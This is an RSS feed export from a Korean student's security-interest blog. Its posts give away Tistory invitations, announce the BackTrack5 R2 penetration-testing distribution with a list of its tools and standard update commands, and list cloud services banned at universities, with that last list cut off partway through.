<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
	<channel>
		<title>Younge&#039;s Tistory Net</title>
		<link>http://iyounges.org/</link>
		<description>정보보안전문가를 꿈꾸는 고등학생의 티스토리입니다! - 좋은글 많이 읽고 댓글도 많이 달아주시면 감사하겠습니다! -By XoDNr</description>
		<language>ko</language>
		<pubDate>Fri, 09 Mar 2012 23:39:04 +0900</pubDate>
		<generator>Tistory 1.1 (http://www.tistory.com/)</generator>
		<managingEditor>깝태</managingEditor>
		<image>
		<title>Younge&#039;s Tistory Net</title>
		<url><![CDATA[http://cfile22.uf.tistory.com/image/143F82484D80DD7B297B5B]]></url>
		<link>http://iyounges.org/</link>
		<description>정보보안전문가를 꿈꾸는 고등학생의 티스토리입니다! - 좋은글 많이 읽고 댓글도 많이 달아주시면 감사하겠습니다! -By XoDNr</description>
		</image>
		<item>
			<title>개방적이고 자유로운 티스토리! 10분에게 티스토리 초대장을 드립니다~</title>
			<link>http://iyounges.org/580</link>
			<description>&lt;div&gt;
&lt;div style=&quot;padding: 30px; border: 1px solid #ebebeb; color: #656565; line-height: 1.8; background-color: #fff&quot;&gt;
		&lt;span style=&quot;font: 8pt/1 Verdana, Sans-serif; color: #fff; background-color: #fe842a; padding: 2px 5px&quot;&gt;i n v i t a t i o n&lt;/span&gt;
		&lt;div style=&quot;margin: 23px 0 32px; border-bottom: 3px solid #e3e3e3; height: 29px&quot;&gt;
			&lt;h3 style=&quot;font: bold 14pt/1 Dotum, Sans-serif; margin: 0; padding: 0 0 10px; border-bottom: 3px solid #fe842a; float: left&quot;&gt;티스토리 초대장&lt;/h3&gt;
			&lt;br /&gt;
		&lt;/div&gt;
		&lt;p&gt;안녕하세요!&lt;/p&gt;
		&lt;p&gt;티스토리에 보금자리를 마련하시려는 여러분께 초대장을 배포해 드리려고 합니다.&lt;/p&gt;
		&lt;p&gt;나만의, 내 생각을, 내 기억을 담는 소중한 블로그를 만들고 싶다면 티스토리로 시작해보세요!&lt;/p&gt;
		&lt;p&gt;티스토리 블로그는 초대에 의해서만 가입이 가능합니다. 원하시는 분은 &lt;strong style=&quot;text-decoration: underline&quot;&gt;댓글에 E-mail 주소를&lt;/strong&gt; 남겨주시면 초대장을 보내드립니다. 남겨주실 때에는 꼭 비밀댓글로 남겨주세요!&lt;/p&gt;
		&lt;p&gt;초대장을 보내드리고 바로 개설하시지 않으신 분들은 초대장을 회수할 수도 있으니 바로 개설해주세요!&lt;/p&gt;
		&lt;div style=&quot;border: 5px solid #e5e5e5; background-color: #f9f9f9; padding: 20px 0; margin: 25px 0&quot;&gt;
			&lt;table style=&quot;border-collapse: collpase; table-layout: fixed&quot;&gt;
				&lt;tbody&gt;&lt;tr&gt;
 
					&lt;td valign=&quot;top&quot; style=&quot;padding: 0 25px; border-right: 1px solid #e9e9e9&quot;&gt;
						&lt;div style=&quot;font: bold 24pt/1 Verdana, Sans-serif; margin-bottom: 20px&quot;&gt;
Yes&lt;/div&gt;
						&lt;div&gt;
							&lt;strong&gt;이런 분들께 드립니다!&lt;/strong&gt;
							&lt;div&gt;
&lt;strong&gt;1.&lt;/strong&gt; 다른 블로그를 사용해보셨던 분&lt;/div&gt;
							&lt;div&gt;
&lt;strong&gt;2.&lt;/strong&gt; 이메일 주소가 정상적인 분&lt;/div&gt;
							&lt;div&gt;
&lt;strong&gt;3.&lt;/strong&gt; 블로그를 시작하려는 이유를 남겨주신 분!&lt;/div&gt;
						&lt;/div&gt;
					&lt;/td&gt;
					&lt;td valign=&quot;top&quot; style=&quot;padding: 0 25px&quot;&gt;
						&lt;div style=&quot;font: bold 24pt/1 Verdana, Sans-serif; margin-bottom: 20px&quot;&gt;
No&lt;/div&gt;
						&lt;div&gt;
							&lt;strong&gt;이런 분들께 드리지 않아요!&lt;/strong&gt;
							&lt;div&gt;
&lt;strong&gt;1.&lt;/strong&gt; 이메일 주소가 의심되는 분!&lt;/div&gt;
							&lt;div&gt;
&lt;strong&gt;2.&lt;/strong&gt; 이메일 주소를 남기지 않으신 분&lt;/div&gt;
							&lt;div&gt;
&lt;strong&gt;3.&lt;/strong&gt; 이유도 없이 달라고 하시는 분!&lt;/div&gt;
						&lt;/div&gt;
					&lt;/td&gt;
				&lt;/tr&gt;
			&lt;/tbody&gt;&lt;/table&gt;
		&lt;/div&gt;
		&lt;div style=&quot;margin: 25px 0 10px; color: #a1a1a1; font: 11px/1.5 Dotum, Sans-serif&quot;&gt;
			&lt;div style=&quot;font-weight: bold; margin-bottom: 10px&quot;&gt;
티스토리 이래서 좋아요!&lt;/div&gt;
			&lt;div&gt;
1. 이미지, 동영상, 오디오, 파일까지! 무한 용량과 강력한 멀티미디어를 올릴 수 있어요!&lt;/div&gt;
			&lt;div&gt;
2. 스킨위자드로 스킨을 내맘대로~ 거기에 기능 확장 플러그인까지!&lt;/div&gt;
			&lt;div&gt;
3. 내가 원하는대로 myID.com으로 블로그 주소를 만들 수 있어요!&lt;/div&gt;
		&lt;/div&gt;
	&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: center; background-color: rgb(255, 255, 255); &quot;&gt;지금 시간이 약간 늦은 시간이니 지원시간은 내일, 토요일 오전 11시까지 댓글을 달아주신 분들을&lt;/span&gt;&lt;br style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: center; background-color: rgb(255, 255, 255); &quot;&gt;&lt;span style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: center; background-color: rgb(255, 255, 255); &quot;&gt;중점으로 해서 초대장을 선물해드리겠습니다.&lt;/span&gt;&lt;br style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: center; background-color: rgb(255, 255, 255); &quot;&gt;&lt;span style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: center; background-color: rgb(255, 255, 255); &quot;&gt;선착순으로 드리는것은 절대 아니며 얼마나 성의있게 작성하였는지, 목적이 뚜렷한지를 초점을 두고 초대장을 드리겠습니다.&lt;/span&gt;&lt;br style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: center; background-color: rgb(255, 255, 255); &quot;&gt;&lt;span style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: center; background-color: rgb(255, 255, 255); &quot;&gt;물론 선착순이 아무런 반영이 안되는건 아닙니다.&lt;/span&gt;&lt;br style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: center; background-color: rgb(255, 255, 255); &quot;&gt;&lt;br style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: center; background-color: rgb(255, 255, 255); &quot;&gt;&lt;span style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: center; background-color: rgb(255, 255, 255); &quot;&gt;첫번째로 쓴 사람과 세번째로 쓴 사람이 있는데 두 분다 완벽하게 썼다면 첫번째분에게 줄수 밖에 없겠죠,&lt;/span&gt;&lt;br style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: center; background-color: rgb(255, 255, 255); &quot;&gt;&lt;span style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: center; background-color: rgb(255, 255, 255); &quot;&gt;그러면 많이들 부탁해주세요~~~~ 친절하게 아낌없이 드릴께요 ㅎㅎㅎㅎㅎㅎ&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: center; background-color: rgb(255, 255, 255); &quot;&gt;&lt;br style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: center; background-color: rgb(255, 255, 255); &quot;&gt;&lt;span style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: center; background-color: rgb(255, 255, 255); &quot;&gt;(추가 : 중간에 글을 정말 열심히 써주셨다~ 라는 분이 계시면 바로 드리겠습니다 ^^ )&amp;nbsp;&lt;/span&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=26686306&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>다이어리</category>
			<category>티스토리</category>
			<category>티스토리 초대장</category>
			<category>티스토리 초대장 배포합니다</category>
			<category>티스토리 초대장 선물합니다</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/580</guid>
			<comments>http://iyounges.org/580#entry580comment</comments>
			<pubDate>Fri, 09 Mar 2012 23:36:22 +0900</pubDate>
		</item>
		<item>
			<title>모의해킹 OS! BackTrack5 R2 버전 릴리즈!</title>
			<link>http://iyounges.org/579</link>
			<description>&lt;br /&gt;
&lt;p style=&quot;margin:0&quot;&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile7.uf.tistory.com/original/1616774F4F52CE322DF304&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile7.uf.tistory.com/image/1616774F4F52CE322DF304&quot; alt=&quot;&quot; filemime=&quot;image/jpeg&quot; filename=&quot;zzzzzzz.jpg&quot; height=&quot;327&quot; width=&quot;650&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;br /&gt;BackTrack5 R2 Released :&amp;nbsp;&amp;nbsp;&lt;a href=&quot;http://www.backtrack-linux.org/backtrack/backtrack-5-r2-released/&quot;&gt;http://www.backtrack-linux.org/backtrack/backtrack-5-r2-released/&amp;nbsp;&lt;/a&gt;&lt;br /&gt;
BackTrack5 R2 Download :&amp;nbsp;
&lt;a href=&quot;http://www.backtrack-linux.org/downloads/&quot;&gt;http://www.backtrack-linux.org/downloads/&lt;/a&gt;&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;BackTrack5 R2 버전이 나왔습니다. 이번 버전은 R1 에 비해 커스터마이징된 OS로 교체되었으며 데이터마이징된 &lt;br /&gt;
Maltego 3.1.0 툴이 추가되었으며 사용하였으며
Metasploit&amp;nbsp;이외&amp;nbsp;여러 툴이 업데이트 되었습니다.&lt;br /&gt;
&lt;br /&gt;저는 백트랙을 처음 사용하게된 계기가 예전에 한창 네트워크에 잔깐 관심을 가졌을때 공부도 안하고선 와이파이&lt;br /&gt;
패스워드 크래킹에만 관심을 가져 백트랙을 사용하게 되었는데 지금 보니 그 이외에도 무궁무진한 공격이 가능하더군요&lt;br /&gt;
백트랙을 이용한다고 무조건 스크립트 키디는 아닙니다, 이 어렵고 많은 툴 들을 잘 사용하고 원리를 잘 공부하기만 해도&lt;br /&gt;
상당히 좋다고 생각됩니다. 현재는 책도 나와있으니 한번 관심있으신분들은 책을 보면서 해보면 재밌을것같습니다.&lt;br /&gt;
&lt;br /&gt;BackTrack은 Slax라는 전통적인 라이브 리눅스를 기본으로 사용하다가 최근 버전에서는 우분투를 이용하여 제작되어 배포되고 있는 모의침투 테스트를 하기 위해 제작된 라이브 OS입니다. &lt;br /&gt;
( 라이브 CD란 저장디스크에 별도의 설치 없이 이동식 디스크(CD, USB 등)을 통해서 바로 부팅이 가능합니다. 단, 부팅한 뒤에 설정하였던 모든 값은 종료를 하게 되면 사라지게 됩니다. (휘발성))&lt;br /&gt;
&lt;br /&gt;여기서 백트랙을 이용한 모의침투 테스트란 여러 취약점 진단을 얘기합니다. 백트랙에 설치되어 있는 유명한 툴로는&lt;br /&gt;
Metasploit,&amp;nbsp;Zenmap,&amp;nbsp;OpenVAS,&amp;nbsp;hping,&amp;nbsp;cain &amp;amp; abel, tcpdump,&amp;nbsp;Netcat 과 같은 툴이 있으며 몇 가지만 설명하겠습니다&lt;br /&gt;
&lt;br /&gt;(1) Metasploit : 설정한 타겟 호스트의 취약점을 찾아내고 침투방법을 제공하는 자동화 프로그램입니다. 일단 취약점&lt;br /&gt;
진단 프로그램으로는 제일 유명하며 현재까지도 아마 가장 많은 강의가 쓰여졌을겁니다.&lt;br /&gt;
&lt;br /&gt;(2) Zenmap : 상대 호스트의 네트워크를 스캔 할 경우 하나의 호스트에 대한 정보를 보여줄 뿐만 아니라 네트워크의 모든 호스트에 대한 정보를 스캔합니다. 또한 토폴로지 맵을 만들어줍니다.&lt;br /&gt;
&lt;br /&gt;(3) OpenVAS : 네트워크 스캔 이외에도 모든 스캔이 가능한 프로그램입니다. 세팅이 약간 까다롭긴 하지만 항상 최신 버전으로만 업데이트가 되어있으면 가능합니다. (웹으로도 스캔 가능)&lt;br /&gt;
&lt;br /&gt;이번 BackTrack5 R2 버전에서는 다음의 툴 들이 업데이트 되었습니다.&lt;br /&gt;
&lt;div&gt;Arduino, bluelog, bt-audit, dirb, dnschef, dpscan, easy-creds, extundelete, findmyhash, golismero, goofile, hashcat-gui, hash-identifier, hexorbase, horst, hotpatch, joomscan, killerbee, libhijack, magictree, nipper-ng, patator, papal, pyrite, reaver, rebind, rec-studio, redfang, se-toolkit, sqlsus, sslyze, sucrack, thc-ssl-dos, tlssled, uniscan, vega, watobo, wcex, wol-e, xspy&lt;/div&gt;
&lt;br /&gt;기존 R1 버전을 사용하던 분들은 다음의 명령을 통해 바로 업데이트가 가능합니다.&lt;br /&gt;
&lt;div&gt;echo &quot;deb http://updates.repository.backtrack-linux.org revolution main microverse non-free testing&quot; &amp;gt;&amp;gt; /etc/apt/sources.list&amp;nbsp;&lt;/div&gt;
&lt;div&gt;apt-get update&amp;nbsp;&lt;/div&gt;
&lt;div&gt;apt-get dist-upgrade&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;div&gt;YIS 온라인 부팀장 김태욱 기자&lt;/div&gt;
&lt;div&gt;xodnr631@naver.com&lt;/div&gt;
&lt;/div&gt;&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=26423800&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>YIS 활동</category>
			<category>YIS활동</category>
			<category>백트랙 R2 릴리즈</category>
			<category>온라인기사</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/579</guid>
			<comments>http://iyounges.org/579#entry579comment</comments>
			<pubDate>Sun, 04 Mar 2012 12:11:06 +0900</pubDate>
		</item>
		<item>
			<title>클라우드 서비스 종류</title>
			<link>http://iyounges.org/578</link>
			<description>&lt;br /&gt;
출처 -&amp;nbsp;&amp;nbsp;&lt;a href=&quot;http://elrua999.tistory.com/2876&quot;&gt;http://elrua999.tistory.com/2876&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;&lt;span style=&quot;color: rgb(45, 44, 45); font-family: gulim; background-color: rgb(255, 255, 255); &quot;&gt;이번에 교과부에서 대학에서 사용금지시킨 클라우드서비스 종류 생&lt;/span&gt;&lt;span style=&quot;color: rgb(45, 44, 45); font-family: gulim; background-color: rgb(255, 255, 255); &quot;&gt;각보다 많네&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(45, 44, 45); font-family: gulim; background-color: rgb(255, 255, 255); &quot;&gt;안쓰던것도 있고&lt;/span&gt;&lt;br style=&quot;color: rgb(45, 44, 45); font-family: gulim; background-color: rgb(255, 255, 255); &quot;&gt;&lt;ul style=&quot;background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); font-family: arial, sans-serif; font-size: 13px; line-height: normal; &quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;SK텔레콤 T클라우드(&lt;/span&gt;&lt;a href=&quot;http://www.tcloud.co.kr/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.tcloud.co.kr&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;T클라우드비즈(&lt;/span&gt;&lt;a href=&quot;http://www.tcloudbiz.co.kr/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.tcloudbiz.co.kr&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;다음클라우드(&lt;/span&gt;&lt;a href=&quot;http://cloud.daum.net/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;cloud.daum.net&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;LG CNS 마이클라우드(&lt;/span&gt;&lt;a href=&quot;http://cloud.lgcns.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;cloud.lgcns.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;클라우드미(&lt;/span&gt;&lt;a href=&quot;http://www.cloudme.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.cloudme.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;애플 아이클라우드(&lt;/span&gt;&lt;a href=&quot;http://www.icloud.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.icloud.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;틸론 엘클라우드(&lt;/span&gt;&lt;a href=&quot;http://www.elcloud.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.elcloud.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;아이슛(&lt;/span&gt;&lt;a href=&quot;http://www.ishoot.co.kr/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.ishoot.co.kr&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;HTC센스(&lt;/span&gt;&lt;a href=&quot;http://www.htcsense.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.htcsense.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;아이슛클라우드(&lt;/span&gt;&lt;a href=&quot;http://www.ishootcloud.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.ishootcloud.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;스팟클라우드(&lt;/span&gt;&lt;a href=&quot;http://www.spotcloud.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.spotcloud.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;B드라이브(&lt;/span&gt;&lt;a href=&quot;http://www.bdrive.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.bdrive.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;유자드팝(&lt;/span&gt;&lt;a href=&quot;http://www.uzardpop.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.uzardpop.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;포고플러그(&lt;/span&gt;&lt;a href=&quot;http://www.pogoplug.com/ko/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.pogoplug.com/ko/&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
